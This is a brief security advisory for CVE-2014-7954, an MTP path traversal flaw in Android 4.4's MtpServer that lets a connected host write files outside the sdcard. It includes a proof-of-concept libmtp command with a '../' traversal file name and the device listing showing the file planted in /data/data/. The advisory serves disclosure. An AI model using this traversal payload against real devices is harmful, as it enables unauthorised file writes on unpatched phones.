Android 4.4 MTP Path Traversal

Credit: Imre Rad
Risk: Medium
Local: No
Remote: Yes

CVSS Base Score: 2.1/10
Impact Subscore: 2.9/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

MTP path traversal vulnerability in Android 4.4 ----------------------------------------------- doSendObjectInfo() method of the MtpServer class implemented in frameworks/av/media/mtp/MtpServer.cpp does not validate the name parameter of the incoming MTP packet at all. It is possible to upload files outside of the sdcard using a specially crafted MTP request: root@testpc:~/mtp-test# ./mtp-mysend sdf.txt \ ../../../.././../data/data/ libmtp version: 1.1.3 Device 0 (VID=18d1 and PID=4e42) is UNKNOWN. Please report this VID/PID and the device model to the libmtp development team Android device detected, assigning default bug flags Sending sdf.txt as ../../../../../../data/data/ Sending file... Progress: 25 of 25 (100%) New file ID: 203 The file is written by the process root@grouper:/data/data/ # ls -la ls -la drwxrwx--x u0_a6 u0_a6 2014-07-22 01:06 cache drwxrwx--x u0_a6 u0_a6 2014-07-22 01:07 databases lrwxrwxrwx install install 2014-07-22 01:05 lib -> /data/app-lib/ -rw-rw-r-- u0_a6 media_rw 13 2014-09-24 01:36 sdf.txt drwxrwx--x u0_a6 u0_a6 2014-07-22 01:06 shared_prefs Tested on: Android 4.4.4 Reported on: 2014-09-26 Assigned CVE: CVE-2014-7954 Discovered by: Imre Rad / Search-Lab Ltd.

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